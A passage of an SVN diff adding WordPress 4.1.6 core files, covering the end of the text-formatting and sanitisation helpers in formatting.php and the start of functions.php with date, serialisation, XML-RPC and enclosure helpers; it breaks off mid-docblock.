+				$arg = isset($args[$arg_index]) ? $args[$arg_index] : '';
+			}
+
+			/**
+			 * Filter a fragment from the pattern passed to wp_sprintf().
+			 *
+			 * If the fragment is unchanged, then sprintf() will be run on the fragment.
+			 *
+			 * @since 2.5.0
+			 *
+			 * @param string $fragment A fragment from the pattern.
+			 * @param string $arg      The argument.
+			 */
+			$_fragment = apply_filters( 'wp_sprintf', $fragment, $arg );
+			if ( $_fragment != $fragment )
+				$fragment = $_fragment;
+			else
+				$fragment = sprintf($fragment, strval($arg) );
+		}
+
+		// Append to result and move to next fragment
+		$result .= $fragment;
+		$start = $end;
+	}
+	return $result;
+}
+
+/**
+ * Localize list items before the rest of the content.
+ *
+ * The '%l' must be at the first characters can then contain the rest of the
+ * content. The list items will have ', ', ', and', and ' and ' added depending
+ * on the amount of list items in the $args parameter.
+ *
+ * @since 2.5.0
+ *
+ * @param string $pattern Content containing '%l' at the beginning.
+ * @param array $args List items to prepend to the content and replace '%l'.
+ * @return string Localized list items and rest of the content.
+ */
+function wp_sprintf_l($pattern, $args) {
+	// Not a match
+	if ( substr($pattern, 0, 2) != '%l' )
+		return $pattern;
+
+	// Nothing to work with
+	if ( empty($args) )
+		return '';
+
+	/**
+	 * Filter the translated delimiters used by wp_sprintf_l().
+	 * Placeholders (%s) are included to assist translators and then
+	 * removed before the array of strings reaches the filter.
+	 *
+	 * Please note: Ampersands and entities should be avoided here.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param array $delimiters An array of translated delimiters.
+	 */
+	$l = apply_filters( 'wp_sprintf_l', array(
+		/* translators: used to join items in a list with more than 2 items */
+		'between'          => sprintf( __('%s, %s'), '', '' ),
+		/* translators: used to join last two items in a list with more than 2 times */
+		'between_last_two' => sprintf( __('%s, and %s'), '', '' ),
+		/* translators: used to join items in a list with only 2 items */
+		'between_only_two' => sprintf( __('%s and %s'), '', '' ),
+	) );
+
+	$args = (array) $args;
+	$result = array_shift($args);
+	if ( count($args) == 1 )
+		$result .= $l['between_only_two'] . array_shift($args);
+	// Loop when more than two args
+	$i = count($args);
+	while ( $i ) {
+		$arg = array_shift($args);
+		$i--;
+		if ( 0 == $i )
+			$result .= $l['between_last_two'] . $arg;
+		else
+			$result .= $l['between'] . $arg;
+	}
+	return $result . substr($pattern, 2);
+}
+
+/**
+ * Safely extracts not more than the first $count characters from html string.
+ *
+ * UTF-8, tags and entities safe prefix extraction. Entities inside will *NOT*
+ * be counted as one character. For example &amp; will be counted as 4, &lt; as
+ * 3, etc.
+ *
+ * @since 2.5.0
+ *
+ * @param string $str String to get the excerpt from.
+ * @param integer $count Maximum number of characters to take.
+ * @param string $more Optional. What to append if $str needs to be trimmed. Defaults to empty string.
+ * @return string The excerpt.
+ */
+function wp_html_excerpt( $str, $count, $more = null ) {
+	if ( null === $more )
+		$more = '';
+	$str = wp_strip_all_tags( $str, true );
+	$excerpt = mb_substr( $str, 0, $count );
+	// remove part of an entity at the end
+	$excerpt = preg_replace( '/&[^;\s]{0,6}$/', '', $excerpt );
+	if ( $str != $excerpt )
+		$excerpt = trim( $excerpt ) . $more;
+	return $excerpt;
+}
+
+/**
+ * Add a Base url to relative links in passed content.
+ *
+ * By default it supports the 'src' and 'href' attributes. However this can be
+ * changed via the 3rd param.
+ *
+ * @since 2.7.0
+ *
+ * @param string $content String to search for links in.
+ * @param string $base The base URL to prefix to links.
+ * @param array $attrs The attributes which should be processed.
+ * @return string The processed content.
+ */
+function links_add_base_url( $content, $base, $attrs = array('src', 'href') ) {
+	global $_links_add_base;
+	$_links_add_base = $base;
+	$attrs = implode('|', (array)$attrs);
+	return preg_replace_callback( "!($attrs)=(['\"])(.+?)\\2!i", '_links_add_base', $content );
+}
+
+/**
+ * Callback to add a base url to relative links in passed content.
+ *
+ * @since 2.7.0
+ * @access private
+ *
+ * @param string $m The matched link.
+ * @return string The processed link.
+ */
+function _links_add_base($m) {
+	global $_links_add_base;
+	//1 = attribute name  2 = quotation mark  3 = URL
+	return $m[1] . '=' . $m[2] .
+		( preg_match( '#^(\w{1,20}):#', $m[3], $protocol ) && in_array( $protocol[1], wp_allowed_protocols() ) ?
+			$m[3] :
+			WP_HTTP::make_absolute_url( $m[3], $_links_add_base )
+		)
+		. $m[2];
+}
+
+/**
+ * Adds a Target attribute to all links in passed content.
+ *
+ * This function by default only applies to `<a>` tags, however this can be
+ * modified by the 3rd param.
+ *
+ * *NOTE:* Any current target attributed will be stripped and replaced.
+ *
+ * @since 2.7.0
+ *
+ * @param string $content String to search for links in.
+ * @param string $target The Target to add to the links.
+ * @param array $tags An array of tags to apply to.
+ * @return string The processed content.
+ */
+function links_add_target( $content, $target = '_blank', $tags = array('a') ) {
+	global $_links_add_target;
+	$_links_add_target = $target;
+	$tags = implode('|', (array)$tags);
+	return preg_replace_callback( "!<($tags)([^>]*)>!i", '_links_add_target', $content );
+}
+
+/**
+ * Callback to add a target attribute to all links in passed content.
+ *
+ * @since 2.7.0
+ * @access private
+ *
+ * @param string $m The matched link.
+ * @return string The processed link.
+ */
+function _links_add_target( $m ) {
+	global $_links_add_target;
+	$tag = $m[1];
+	$link = preg_replace('|( target=([\'"])(.*?)\2)|i', '', $m[2]);
+	return '<' . $tag . $link . ' target="' . esc_attr( $_links_add_target ) . '">';
+}
+
+/**
+ * Normalize EOL characters and strip duplicate whitespace.
+ *
+ * @since 2.7.0
+ *
+ * @param string $str The string to normalize.
+ * @return string The normalized string.
+ */
+function normalize_whitespace( $str ) {
+	$str  = trim( $str );
+	$str  = str_replace( "\r", "\n", $str );
+	$str  = preg_replace( array( '/\n+/', '/[ \t]+/' ), array( "\n", ' ' ), $str );
+	return $str;
+}
+
+/**
+ * Properly strip all HTML tags including script and style
+ *
+ * This differs from strip_tags() because it removes the contents of
+ * the `<script>` and `<style>` tags. E.g. `strip_tags( '<script>something</script>' )`
+ * will return 'something'. wp_strip_all_tags will return ''
+ *
+ * @since 2.9.0
+ *
+ * @param string $string String containing HTML tags
+ * @param bool $remove_breaks optional Whether to remove left over line breaks and white space chars
+ * @return string The processed string.
+ */
+function wp_strip_all_tags($string, $remove_breaks = false) {
+	$string = preg_replace( '@<(script|style)[^>]*?>.*?</\\1>@si', '', $string );
+	$string = strip_tags($string);
+
+	if ( $remove_breaks )
+		$string = preg_replace('/[\r\n\t ]+/', ' ', $string);
+
+	return trim( $string );
+}
+
+/**
+ * Sanitize a string from user input or from the db
+ *
+ * check for invalid UTF-8,
+ * Convert single < characters to entity,
+ * strip all tags,
+ * remove line breaks, tabs and extra white space,
+ * strip octets.
+ *
+ * @since 2.9.0
+ *
+ * @param string $str
+ * @return string
+ */
+function sanitize_text_field($str) {
+	$filtered = wp_check_invalid_utf8( $str );
+
+	if ( strpos($filtered, '<') !== false ) {
+		$filtered = wp_pre_kses_less_than( $filtered );
+		// This will strip extra whitespace for us.
+		$filtered = wp_strip_all_tags( $filtered, true );
+	} else {
+		$filtered = trim( preg_replace('/[\r\n\t ]+/', ' ', $filtered) );
+	}
+
+	$found = false;
+	while ( preg_match('/%[a-f0-9]{2}/i', $filtered, $match) ) {
+		$filtered = str_replace($match[0], '', $filtered);
+		$found = true;
+	}
+
+	if ( $found ) {
+		// Strip out the whitespace that may now exist after removing the octets.
+		$filtered = trim( preg_replace('/ +/', ' ', $filtered) );
+	}
+
+	/**
+	 * Filter a sanitized text field string.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string $filtered The sanitized string.
+	 * @param string $str      The string prior to being sanitized.
+	 */
+	return apply_filters( 'sanitize_text_field', $filtered, $str );
+}
+
+/**
+ * i18n friendly version of basename()
+ *
+ * @since 3.1.0
+ *
+ * @param string $path A path.
+ * @param string $suffix If the filename ends in suffix this will also be cut off.
+ * @return string
+ */
+function wp_basename( $path, $suffix = '' ) {
+	return urldecode( basename( str_replace( array( '%2F', '%5C' ), '/', urlencode( $path ) ), $suffix ) );
+}
+
+/**
+ * Forever eliminate "Wordpress" from the planet (or at least the little bit we can influence).
+ *
+ * Violating our coding standards for a good function name.
+ *
+ * @since 3.0.0
+ */
+function capital_P_dangit( $text ) {
+	// Simple replacement for titles
+	$current_filter = current_filter();
+	if ( 'the_title' === $current_filter || 'wp_title' === $current_filter )
+		return str_replace( 'Wordpress', 'WordPress', $text );
+	// Still here? Use the more judicious replacement
+	static $dblq = false;
+	if ( false === $dblq )
+		$dblq = _x( '&#8220;', 'opening curly double quote' );
+	return str_replace(
+		array( ' Wordpress', '&#8216;Wordpress', $dblq . 'Wordpress', '>Wordpress', '(Wordpress' ),
+		array( ' WordPress', '&#8216;WordPress', $dblq . 'WordPress', '>WordPress', '(WordPress' ),
+	$text );
+
+}
+
+/**
+ * Sanitize a mime type
+ *
+ * @since 3.1.3
+ *
+ * @param string $mime_type Mime type
+ * @return string Sanitized mime type
+ */
+function sanitize_mime_type( $mime_type ) {
+	$sani_mime_type = preg_replace( '/[^-+*.a-zA-Z0-9\/]/', '', $mime_type );
+	/**
+	 * Filter a mime type following sanitization.
+	 *
+	 * @since 3.1.3
+	 *
+	 * @param string $sani_mime_type The sanitized mime type.
+	 * @param string $mime_type      The mime type prior to sanitization.
+	 */
+	return apply_filters( 'sanitize_mime_type', $sani_mime_type, $mime_type );
+}
+
+/**
+ * Sanitize space or carriage return separated URLs that are used to send trackbacks.
+ *
+ * @since 3.4.0
+ *
+ * @param string $to_ping Space or carriage return separated URLs
+ * @return string URLs starting with the http or https protocol, separated by a carriage return.
+ */
+function sanitize_trackback_urls( $to_ping ) {
+	$urls_to_ping = preg_split( '/[\r\n\t ]/', trim( $to_ping ), -1, PREG_SPLIT_NO_EMPTY );
+	foreach ( $urls_to_ping as $k => $url ) {
+		if ( !preg_match( '#^https?://.#i', $url ) )
+			unset( $urls_to_ping[$k] );
+	}
+	$urls_to_ping = array_map( 'esc_url_raw', $urls_to_ping );
+	$urls_to_ping = implode( "\n", $urls_to_ping );
+	/**
+	 * Filter a list of trackback URLs following sanitization.
+	 *
+	 * The string returned here consists of a space or carriage return-delimited list
+	 * of trackback URLs.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param string $urls_to_ping Sanitized space or carriage return separated URLs.
+	 * @param string $to_ping      Space or carriage return separated URLs before sanitization.
+	 */
+	return apply_filters( 'sanitize_trackback_urls', $urls_to_ping, $to_ping );
+}
+
+/**
+ * Add slashes to a string or array of strings.
+ *
+ * This should be used when preparing data for core API that expects slashed data.
+ * This should not be used to escape data going directly into an SQL query.
+ *
+ * @since 3.6.0
+ *
+ * @param string|array $value String or array of strings to slash.
+ * @return string|array Slashed $value
+ */
+function wp_slash( $value ) {
+	if ( is_array( $value ) ) {
+		foreach ( $value as $k => $v ) {
+			if ( is_array( $v ) ) {
+				$value[$k] = wp_slash( $v );
+			} else {
+				$value[$k] = addslashes( $v );
+			}
+		}
+	} else {
+		$value = addslashes( $value );
+	}
+
+	return $value;
+}
+
+/**
+ * Remove slashes from a string or array of strings.
+ *
+ * This should be used to remove slashes from data passed to core API that
+ * expects data to be unslashed.
+ *
+ * @since 3.6.0
+ *
+ * @param string|array $value String or array of strings to unslash.
+ * @return string|array Unslashed $value
+ */
+function wp_unslash( $value ) {
+	return stripslashes_deep( $value );
+}
+
+/**
+ * Extract and return the first URL from passed content.
+ *
+ * @since 3.6.0
+ *
+ * @param string $content A string which might contain a URL.
+ * @return string The found URL.
+ */
+function get_url_in_content( $content ) {
+	if ( empty( $content ) ) {
+		return false;
+	}
+
+	if ( preg_match( '/<a\s[^>]*?href=([\'"])(.+?)\1/is', $content, $matches ) ) {
+		return esc_url_raw( $matches[2] );
+	}
+
+	return false;
+}
+
+/**
+ * Returns the regexp for common whitespace characters.
+ *
+ * By default, spaces include new lines, tabs, nbsp entities, and the UTF-8 nbsp.
+ * This is designed to replace the PCRE \s sequence.  In ticket #22692, that
+ * sequence was found to be unreliable due to random inclusion of the A0 byte.
+ *
+ * @since 4.0.0
+ *
+ * @return string The spaces regexp.
+ */
+function wp_spaces_regexp() {
+	static $spaces;
+
+	if ( empty( $spaces ) ) {
+		/**
+		 * Filter the regexp for common whitespace characters.
+		 *
+		 * This string is substituted for the \s sequence as needed in regular
+		 * expressions. For websites not written in English, different characters
+		 * may represent whitespace. For websites not encoded in UTF-8, the 0xC2 0xA0
+		 * sequence may not be in use.
+		 *
+		 * @since 4.0.0
+		 *
+		 * @param string $spaces Regexp pattern for matching common whitespace characters.
+		 */
+		$spaces = apply_filters( 'wp_spaces_regexp', '[\r\n\t ]|\xC2\xA0|&nbsp;' );
+	}
+
+	return $spaces;
+}
Index: /tags/4.1.6/src/wp-includes/functions.php
===================================================================
--- /tags/4.1.6/src/wp-includes/functions.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/functions.php	(revision 33402)
@@ -0,0 +1,4811 @@
+<?php
+/**
+ * Main WordPress API
+ *
+ * @package WordPress
+ */
+
+require( ABSPATH . WPINC . '/option.php' );
+
+/**
+ * Convert given date string into a different format.
+ *
+ * $format should be either a PHP date format string, e.g. 'U' for a Unix
+ * timestamp, or 'G' for a Unix timestamp assuming that $date is GMT.
+ *
+ * If $translate is true then the given date and format string will
+ * be passed to date_i18n() for translation.
+ *
+ * @since 0.71
+ *
+ * @param string $format    Format of the date to return.
+ * @param string $date      Date string to convert.
+ * @param bool   $translate Whether the return date should be translated. Default true.
+ * @return string|int|bool Formatted date string or Unix timestamp. False if $date is empty.
+ */
+function mysql2date( $format, $date, $translate = true ) {
+	if ( empty( $date ) )
+		return false;
+
+	if ( 'G' == $format )
+		return strtotime( $date . ' +0000' );
+
+	$i = strtotime( $date );
+
+	if ( 'U' == $format )
+		return $i;
+
+	if ( $translate )
+		return date_i18n( $format, $i );
+	else
+		return date( $format, $i );
+}
+
+/**
+ * Retrieve the current time based on specified type.
+ *
+ * The 'mysql' type will return the time in the format for MySQL DATETIME field.
+ * The 'timestamp' type will return the current timestamp.
+ * Other strings will be interpreted as PHP date formats (e.g. 'Y-m-d').
+ *
+ * If $gmt is set to either '1' or 'true', then both types will use GMT time.
+ * if $gmt is false, the output is adjusted with the GMT offset in the WordPress option.
+ *
+ * @since 1.0.0
+ *
+ * @param string   $type Type of time to retrieve. Accepts 'mysql', 'timestamp', or PHP date
+ *                       format string (e.g. 'Y-m-d').
+ * @param int|bool $gmt  Optional. Whether to use GMT timezone. Default false.
+ * @return int|string Integer if $type is 'timestamp', string otherwise.
+ */
+function current_time( $type, $gmt = 0 ) {
+	switch ( $type ) {
+		case 'mysql':
+			return ( $gmt ) ? gmdate( 'Y-m-d H:i:s' ) : gmdate( 'Y-m-d H:i:s', ( time() + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) ) );
+		case 'timestamp':
+			return ( $gmt ) ? time() : time() + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS );
+		default:
+			return ( $gmt ) ? date( $type ) : date( $type, time() + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) );
+	}
+}
+
+/**
+ * Retrieve the date in localized format, based on timestamp.
+ *
+ * If the locale specifies the locale month and weekday, then the locale will
+ * take over the format for the date. If it isn't, then the date format string
+ * will be used instead.
+ *
+ * @since 0.71
+ *
+ * @param string   $dateformatstring Format to display the date.
+ * @param bool|int $unixtimestamp    Optional. Unix timestamp. Default false.
+ * @param bool     $gmt              Optional. Whether to use GMT timezone. Default false.
+ *
+ * @return string The date, translated if locale specifies it.
+ */
+function date_i18n( $dateformatstring, $unixtimestamp = false, $gmt = false ) {
+	global $wp_locale;
+	$i = $unixtimestamp;
+
+	if ( false === $i ) {
+		if ( ! $gmt )
+			$i = current_time( 'timestamp' );
+		else
+			$i = time();
+		// we should not let date() interfere with our
+		// specially computed timestamp
+		$gmt = true;
+	}
+
+	/*
+	 * Store original value for language with untypical grammars.
+	 * See https://core.trac.wordpress.org/ticket/9396
+	 */
+	$req_format = $dateformatstring;
+
+	$datefunc = $gmt? 'gmdate' : 'date';
+
+	if ( ( !empty( $wp_locale->month ) ) && ( !empty( $wp_locale->weekday ) ) ) {
+		$datemonth = $wp_locale->get_month( $datefunc( 'm', $i ) );
+		$datemonth_abbrev = $wp_locale->get_month_abbrev( $datemonth );
+		$dateweekday = $wp_locale->get_weekday( $datefunc( 'w', $i ) );
+		$dateweekday_abbrev = $wp_locale->get_weekday_abbrev( $dateweekday );
+		$datemeridiem = $wp_locale->get_meridiem( $datefunc( 'a', $i ) );
+		$datemeridiem_capital = $wp_locale->get_meridiem( $datefunc( 'A', $i ) );
+		$dateformatstring = ' '.$dateformatstring;
+		$dateformatstring = preg_replace( "/([^\\\])D/", "\\1" . backslashit( $dateweekday_abbrev ), $dateformatstring );
+		$dateformatstring = preg_replace( "/([^\\\])F/", "\\1" . backslashit( $datemonth ), $dateformatstring );
+		$dateformatstring = preg_replace( "/([^\\\])l/", "\\1" . backslashit( $dateweekday ), $dateformatstring );
+		$dateformatstring = preg_replace( "/([^\\\])M/", "\\1" . backslashit( $datemonth_abbrev ), $dateformatstring );
+		$dateformatstring = preg_replace( "/([^\\\])a/", "\\1" . backslashit( $datemeridiem ), $dateformatstring );
+		$dateformatstring = preg_replace( "/([^\\\])A/", "\\1" . backslashit( $datemeridiem_capital ), $dateformatstring );
+
+		$dateformatstring = substr( $dateformatstring, 1, strlen( $dateformatstring ) -1 );
+	}
+	$timezone_formats = array( 'P', 'I', 'O', 'T', 'Z', 'e' );
+	$timezone_formats_re = implode( '|', $timezone_formats );
+	if ( preg_match( "/$timezone_formats_re/", $dateformatstring ) ) {
+		$timezone_string = get_option( 'timezone_string' );
+		if ( $timezone_string ) {
+			$timezone_object = timezone_open( $timezone_string );
+			$date_object = date_create( null, $timezone_object );
+			foreach( $timezone_formats as $timezone_format ) {
+				if ( false !== strpos( $dateformatstring, $timezone_format ) ) {
+					$formatted = date_format( $date_object, $timezone_format );
+					$dateformatstring = ' '.$dateformatstring;
+					$dateformatstring = preg_replace( "/([^\\\])$timezone_format/", "\\1" . backslashit( $formatted ), $dateformatstring );
+					$dateformatstring = substr( $dateformatstring, 1, strlen( $dateformatstring ) -1 );
+				}
+			}
+		}
+	}
+	$j = @$datefunc( $dateformatstring, $i );
+
+	/**
+	 * Filter the date formatted based on the locale.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $j          Formatted date string.
+	 * @param string $req_format Format to display the date.
+	 * @param int    $i          Unix timestamp.
+	 * @param bool   $gmt        Whether to convert to GMT for time. Default false.
+	 */
+	$j = apply_filters( 'date_i18n', $j, $req_format, $i, $gmt );
+	return $j;
+}
+
+/**
+ * Convert integer number to format based on the locale.
+ *
+ * @since 2.3.0
+ *
+ * @param int $number   The number to convert based on locale.
+ * @param int $decimals Optional. Precision of the number of decimal places. Default 0.
+ * @return string Converted number in string format.
+ */
+function number_format_i18n( $number, $decimals = 0 ) {
+	global $wp_locale;
+	$formatted = number_format( $number, absint( $decimals ), $wp_locale->number_format['decimal_point'], $wp_locale->number_format['thousands_sep'] );
+
+	/**
+	 * Filter the number formatted based on the locale.
+	 *
+	 * @since  2.8.0
+	 *
+	 * @param string $formatted Converted number in string format.
+	 */
+	return apply_filters( 'number_format_i18n', $formatted );
+}
+
+/**
+ * Convert number of bytes largest unit bytes will fit into.
+ *
+ * It is easier to read 1kB than 1024 bytes and 1MB than 1048576 bytes. Converts
+ * number of bytes to human readable number by taking the number of that unit
+ * that the bytes will go into it. Supports TB value.
+ *
+ * Please note that integers in PHP are limited to 32 bits, unless they are on
+ * 64 bit architecture, then they have 64 bit size. If you need to place the
+ * larger size then what PHP integer type will hold, then use a string. It will
+ * be converted to a double, which should always have 64 bit length.
+ *
+ * Technically the correct unit names for powers of 1024 are KiB, MiB etc.
+ *
+ * @since 2.3.0
+ *
+ * @param int|string $bytes    Number of bytes. Note max integer size for integers.
+ * @param int        $decimals Optional. Precision of number of decimal places. Default 0.
+ * @return string|false False on failure. Number string on success.
+ */
+function size_format( $bytes, $decimals = 0 ) {
+	$quant = array(
+		// ========================= Origin ====
+		'TB' => 1099511627776,  // pow( 1024, 4)
+		'GB' => 1073741824,     // pow( 1024, 3)
+		'MB' => 1048576,        // pow( 1024, 2)
+		'kB' => 1024,           // pow( 1024, 1)
+		'B ' => 1,              // pow( 1024, 0)
+	);
+	foreach ( $quant as $unit => $mag )
+		if ( doubleval($bytes) >= $mag )
+			return number_format_i18n( $bytes / $mag, $decimals ) . ' ' . $unit;
+
+	return false;
+}
+
+/**
+ * Get the week start and end from the datetime or date string from MySQL.
+ *
+ * @since 0.71
+ *
+ * @param string     $mysqlstring   Date or datetime field type from MySQL.
+ * @param int|string $start_of_week Optional. Start of the week as an integer. Default empty string.
+ * @return array Keys are 'start' and 'end'.
+ */
+function get_weekstartend( $mysqlstring, $start_of_week = '' ) {
+	// MySQL string year.
+	$my = substr( $mysqlstring, 0, 4 );
+
+	// MySQL string month.
+	$mm = substr( $mysqlstring, 8, 2 );
+
+	// MySQL string day.
+	$md = substr( $mysqlstring, 5, 2 );
+
+	// The timestamp for MySQL string day.
+	$day = mktime( 0, 0, 0, $md, $mm, $my );
+
+	// The day of the week from the timestamp.
+	$weekday = date( 'w', $day );
+
+	if ( !is_numeric($start_of_week) )
+		$start_of_week = get_option( 'start_of_week' );
+
+	if ( $weekday < $start_of_week )
+		$weekday += 7;
+
+	// The most recent week start day on or before $day.
+	$start = $day - DAY_IN_SECONDS * ( $weekday - $start_of_week );
+
+	// $start + 7 days - 1 second.
+	$end = $start + 7 * DAY_IN_SECONDS - 1;
+	return compact( 'start', 'end' );
+}
+
+/**
+ * Unserialize value only if it was serialized.
+ *
+ * @since 2.0.0
+ *
+ * @param string $original Maybe unserialized original, if is needed.
+ * @return mixed Unserialized data can be any type.
+ */
+function maybe_unserialize( $original ) {
+	if ( is_serialized( $original ) ) // don't attempt to unserialize data that wasn't serialized going in
+		return @unserialize( $original );
+	return $original;
+}
+
+/**
+ * Check value to find if it was serialized.
+ *
+ * If $data is not an string, then returned value will always be false.
+ * Serialized data is always a string.
+ *
+ * @since 2.0.5
+ *
+ * @param string $data   Value to check to see if was serialized.
+ * @param bool   $strict Optional. Whether to be strict about the end of the string. Default true.
+ * @return bool False if not serialized and true if it was.
+ */
+function is_serialized( $data, $strict = true ) {
+	// if it isn't a string, it isn't serialized.
+	if ( ! is_string( $data ) ) {
+		return false;
+	}
+	$data = trim( $data );
+ 	if ( 'N;' == $data ) {
+		return true;
+	}
+	if ( strlen( $data ) < 4 ) {
+		return false;
+	}
+	if ( ':' !== $data[1] ) {
+		return false;
+	}
+	if ( $strict ) {
+		$lastc = substr( $data, -1 );
+		if ( ';' !== $lastc && '}' !== $lastc ) {
+			return false;
+		}
+	} else {
+		$semicolon = strpos( $data, ';' );
+		$brace     = strpos( $data, '}' );
+		// Either ; or } must exist.
+		if ( false === $semicolon && false === $brace )
+			return false;
+		// But neither must be in the first X characters.
+		if ( false !== $semicolon && $semicolon < 3 )
+			return false;
+		if ( false !== $brace && $brace < 4 )
+			return false;
+	}
+	$token = $data[0];
+	switch ( $token ) {
+		case 's' :
+			if ( $strict ) {
+				if ( '"' !== substr( $data, -2, 1 ) ) {
+					return false;
+				}
+			} elseif ( false === strpos( $data, '"' ) ) {
+				return false;
+			}
+			// or else fall through
+		case 'a' :
+		case 'O' :
+			return (bool) preg_match( "/^{$token}:[0-9]+:/s", $data );
+		case 'b' :
+		case 'i' :
+		case 'd' :
+			$end = $strict ? '$' : '';
+			return (bool) preg_match( "/^{$token}:[0-9.E-]+;$end/", $data );
+	}
+	return false;
+}
+
+/**
+ * Check whether serialized data is of string type.
+ *
+ * @since 2.0.5
+ *
+ * @param string $data Serialized data.
+ * @return bool False if not a serialized string, true if it is.
+ */
+function is_serialized_string( $data ) {
+	// if it isn't a string, it isn't a serialized string.
+	if ( ! is_string( $data ) ) {
+		return false;
+	}
+	$data = trim( $data );
+	if ( strlen( $data ) < 4 ) {
+		return false;
+	} elseif ( ':' !== $data[1] ) {
+		return false;
+	} elseif ( ';' !== substr( $data, -1 ) ) {
+		return false;
+	} elseif ( $data[0] !== 's' ) {
+		return false;
+	} elseif ( '"' !== substr( $data, -2, 1 ) ) {
+		return false;
+	} else {
+		return true;
+	}
+}
+
+/**
+ * Serialize data, if needed.
+ *
+ * @since 2.0.5
+ *
+ * @param string|array|object $data Data that might be serialized.
+ * @return mixed A scalar data
+ */
+function maybe_serialize( $data ) {
+	if ( is_array( $data ) || is_object( $data ) )
+		return serialize( $data );
+
+	// Double serialization is required for backward compatibility.
+	// See https://core.trac.wordpress.org/ticket/12930
+	if ( is_serialized( $data, false ) )
+		return serialize( $data );
+
+	return $data;
+}
+
+/**
+ * Retrieve post title from XMLRPC XML.
+ *
+ * If the title element is not part of the XML, then the default post title from
+ * the $post_default_title will be used instead.
+ *
+ * @since 0.71
+ *
+ * @global string $post_default_title Default XML-RPC post title.
+ *
+ * @param string $content XMLRPC XML Request content
+ * @return string Post title
+ */
+function xmlrpc_getposttitle( $content ) {
+	global $post_default_title;
+	if ( preg_match( '/<title>(.+?)<\/title>/is', $content, $matchtitle ) ) {
+		$post_title = $matchtitle[1];
+	} else {
+		$post_title = $post_default_title;
+	}
+	return $post_title;
+}
+
+/**
+ * Retrieve the post category or categories from XMLRPC XML.
+ *
+ * If the category element is not found, then the default post category will be
+ * used. The return type then would be what $post_default_category. If the
+ * category is found, then it will always be an array.
+ *
+ * @since 0.71
+ *
+ * @global string $post_default_category Default XML-RPC post category.
+ *
+ * @param string $content XMLRPC XML Request content
+ * @return string|array List of categories or category name.
+ */
+function xmlrpc_getpostcategory( $content ) {
+	global $post_default_category;
+	if ( preg_match( '/<category>(.+?)<\/category>/is', $content, $matchcat ) ) {
+		$post_category = trim( $matchcat[1], ',' );
+		$post_category = explode( ',', $post_category );
+	} else {
+		$post_category = $post_default_category;
+	}
+	return $post_category;
+}
+
+/**
+ * XMLRPC XML content without title and category elements.
+ *
+ * @since 0.71
+ *
+ * @param string $content XML-RPC XML Request content.
+ * @return string XMLRPC XML Request content without title and category elements.
+ */
+function xmlrpc_removepostdata( $content ) {
+	$content = preg_replace( '/<title>(.+?)<\/title>/si', '', $content );
+	$content = preg_replace( '/<category>(.+?)<\/category>/si', '', $content );
+	$content = trim( $content );
+	return $content;
+}
+
+/**
+ * Use RegEx to extract URLs from arbitrary content.
+ *
+ * @since 3.7.0
+ *
+ * @param string $content Content to extract URLs from.
+ * @return array URLs found in passed string.
+ */
+function wp_extract_urls( $content ) {
+	preg_match_all(
+		"#([\"']?)("
+			. "(?:([\w-]+:)?//?)"
+			. "[^\s()<>]+"
+			. "[.]"
+			. "(?:"
+				. "\([\w\d]+\)|"
+				. "(?:"
+					. "[^`!()\[\]{};:'\".,<>«»“”‘’\s]|"
+					. "(?:[:]\d+)?/?"
+				. ")+"
+			. ")"
+		. ")\\1#",
+		$content,
+		$post_links
+	);
+
+	$post_links = array_unique( array_map( 'html_entity_decode', $post_links[2] ) );
+
+	return array_values( $post_links );
+}
+
+/**
+ * Check content for video and audio links to add as enclosures.
+ *
+ * Will not add enclosures that have already been added and will
+ * remove enclosures that are no longer in the post. This is called as
+ * pingbacks and trackbacks.
+ *
+ * @since 1.5.0
+ *
+ * @see $wpdb
+ *
+ * @param string $content Post Content.
+ * @param int $post_ID Post ID.
+ */
+function do_enclose( $content, $post_ID ) {
+	global $wpdb;
+
+	//TODO: Tidy this ghetto code up and make the debug code optional
+	include_once( ABSPATH . WPINC . '/class-IXR.php' );
+
+	$post_links = array();
+
+	$pung = get_enclosed( $post_ID );
+
+	$post_links_temp = wp_extract_urls( $content );
+
+	foreach ( $pung as $link_test ) {
+		if ( ! in_array( $link_test, $post_links_temp ) ) { // link no longer in post
+			$mids = $wpdb->get_col( $wpdb->prepare("SELECT meta_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = 'enclosure' AND meta_value LIKE %s", $post_ID, $wpdb->esc_like( $link_test ) . '%') );
+			foreach ( $mids as $mid )
+				delete_metadata_by_mid( 'post', $mid );
+		}
+	}
+
+	foreach ( (array) $post_links_temp as $link_test ) {
+		if ( !in_array( $link_test, $pung ) ) { // If we haven't pung it already
+			$test = @parse_url( $link_test );
+			if ( false === $test )
+				continue;
+			if ( isset( $test['query'] ) )
+				$post_links[] = $link_test;
+			elseif ( isset($test['path']) && ( $test['path'] != '/' ) &&  ($test['path'] != '' ) )
+				$post_links[] = $link_test;
+		}
+	}
+
+	foreach ( (array) $post_links as $url ) {
+		if ( $url != '' && !$wpdb->get_var( $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = 'enclosure' AND meta_value LIKE %s", $post_ID, $wpdb->esc_like( $url ) . '%' ) ) ) {
+
+			if ( $headers = wp_get_http_headers( $url) ) {
+				$len = isset( $headers['content-length'] ) ? (int) $headers['content-length'] : 0;
+				$type = isset( $headers['content-type'] ) ? $headers['content-type'] : '';
+				$allowed_types = array( 'video', 'audio' );
+
+				// Check to see if we can figure out the mime type from
+				// the extension
+				$url_parts = @parse_url( $url );
+				if ( false !== $url_parts ) {
+					$extension = pathinfo( $url_parts['path'], PATHINFO_EXTENSION );
+					if ( !empty( $extension ) ) {
+						foreach ( wp_get_mime_types() as $exts => $mime ) {
+							if ( preg_match( '!^(' . $exts . ')$!i', $extension ) ) {
+								$type = $mime;
+								break;
+							}
+						}
+					}
+				}
+
+				if ( in_array( substr( $type, 0, strpos( $type, "/" ) ), $allowed_types ) ) {
+					add_post_meta( $post_ID, 'enclosure', "$url\n$len\n$mime\n" );
+				}
+			}
+		}
+	}
+}
+
+/**
+ * Perform a HTTP HEAD or GET request.
+ *
+ * If $file_path is a writable filename, this will do a GET request and write
+ * the file to that path.
+ *
+ * @since 2.5.0
+ *
